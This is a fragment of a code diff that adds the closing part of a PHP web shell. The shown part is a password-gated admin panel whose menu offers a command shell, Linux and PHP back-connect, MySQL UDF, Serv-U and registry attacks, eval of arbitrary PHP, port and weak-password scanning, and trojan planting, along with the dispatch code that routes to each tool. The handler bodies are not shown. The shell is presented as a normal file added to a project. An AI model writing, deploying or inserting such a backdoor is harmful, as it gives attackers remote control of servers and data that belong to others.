+						<li><a href="?s=d" id="t_3" onclick="switchTab('t_3')" target="main"> Bulk Replace </a></li>
+						<li><a href="?s=e" id="t_4" onclick="switchTab('t_4')" target="main"> Search Trojan </a></li>
+                                                <li><a href="?s=u" id="t_21" onclick="switchTab('t_21')" target="main"> Search File</a></li>
+                                                <li><a href="?s=v" id="t_22" onclick="switchTab('t_22')" target="main"> FTP Connector</a></li>
+						<li><a href="?s=f" id="t_5" onclick="switchTab('t_5')" target="main"> Server Info </a></li>
+						<li><a href="?s=g" id="t_6" onclick="switchTab('t_6')" target="main"> CmdShell </a></li>
+						<li><a href="?s=h" id="t_7" onclick="switchTab('t_7')" target="main"> Win API </a></li>
+						<li><a href="?s=i" id="t_8" onclick="switchTab('t_8')" target="main"> Scan Port </a></li>
+						<li><a href="?s=j" id="t_9" onclick="switchTab('t_9')" target="main"> Convert Shellcode </a></li>
+						<li><a href="?s=k" id="t_10" onclick="switchTab('t_10')" target="main"> Weak Scan </a></li>
+						<li><a href="?s=l" id="t_11" onclick="switchTab('t_11')" target="main">Linux Back Connect </a></li>
+                                                <li><a href="?s=r" id="t_12" onclick="switchTab('t_12')" target="main">PHP Back Connect </a></li>
+						<li><a href="?s=m" id="t_13" onclick="switchTab('t_13')" target="main"> Mysql UDF </a></li>
+						<li><a href="?s=n" id="t_14" onclick="switchTab('t_14')" target="main"> Mysql statement </a></li>
+                                                <li><a href="?s=o" id="t_15" onclick="switchTab('t_15')" target="main">Win Reg Shell </a></li>
+                                                <li><a href="?s=z" id="t_16" onclick="switchTab('t_16')" target="main">Serv-U </a></li>
+                                                <li><a href="?s=x" id="t_17" onclick="switchTab('t_17')" target="main"> Eval PHP Code </a></li>
+                                                <li><a href="?s=w" id="t_18" onclick="switchTab('t_18')" target="main"> Other DB Connect </a></li>
+						<li><a href="?s=logout" id="t_20" onclick="switchTab('t_20')"> Logout </a></li>
+					</ul>
+				</td>
+				<td>
+				<iframe name="main" src="?s=a" width="100%" height="100%" frameborder="0"></iframe>
+				</td>
+				</tr>
+				</table>
+			</div>
+		<div class="bottombg"> {$Server_Soft} </div>
+		</div>
+	</body>
+</html>
+END;
+return false;
+}
+
+if(get_magic_quotes_gpc())
+{
+	$_GET = Root_GP($_GET);
+	$_POST = Root_GP($_POST);
+}
+if($_GET['s'] == 'logout')
+{
+	setcookie('admin_b4che10rpass',NULL);
+	die('<meta http-equiv="refresh" content="0;URL=?">');
+}
+if($_COOKIE['admin_b4che10rpass'] != md5($password))
+{
+	ob_start();
+	$MSG_TOP = 'LOGIN';
+	if(isset($_POST['b4che10rpass']))
+	{
+		$cookietime = time() + 24 * 3600;
+		setcookie('admin_b4che10rpass',md5($_POST['b4che10rpass']),$cookietime);
+                if(md5($_POST['b4che10rpass']) == md5($password)){die('<meta http-equiv="refresh" content="1;URL=?">');}
+		else{$MSG_TOP = 'This is my privileges, What are you doing man ?';}
+               
+	}
+	Root_Login($MSG_TOP);
+        exit();
+	ob_end_flush();
+}
+
+if(isset($_GET['s'])){$s = $_GET['s'];if($s != 'a' && $s != 'n')Root_CSS();}else{$s = 'MyNameIsHacker';}
+$p = isset($_GET['p']) ? $_GET['p'] : File_Str(dirname(__FILE__));
+
+switch($s)
+{
+	case "a" : File_a($p); break;
+	case "b" : Guama_b(); break;
+	case "c" : Qingma_c(); break;
+	case "d" : Tihuan_d(); break;
+	case "e" : Antivirus_e(); break;
+	case "f" : Info_f(); break;
+	case "g" : Exec_g(); break;
+	case "h" : Com_h(); break;
+	case "i" : Port_i(); break;
+	case "j" : Shellcode_j(); break;
+	case "k" : Crack_k(); break;
+	case "l" : Linux_l(); break;
+	case "m" : Mysql_m(); break;
+	case "n" : Mysql_n(); break;
+	case "o" : phpreg(); break;
+        case "p" : File_Edit($_GET['fp'],$_GET['fn']); break;
+        case 'x' : phpcode();break;
+        case 'r' : phpsocket();break;
+        case 'w' : otherdb();break;
+        case 'z' : su();break;
+        case 'u' : Findfile_j(); break;
+        case 'v' : ftp_php();break;
+	default: WinMain(); break;
+}
+?>
\ No newline at end of file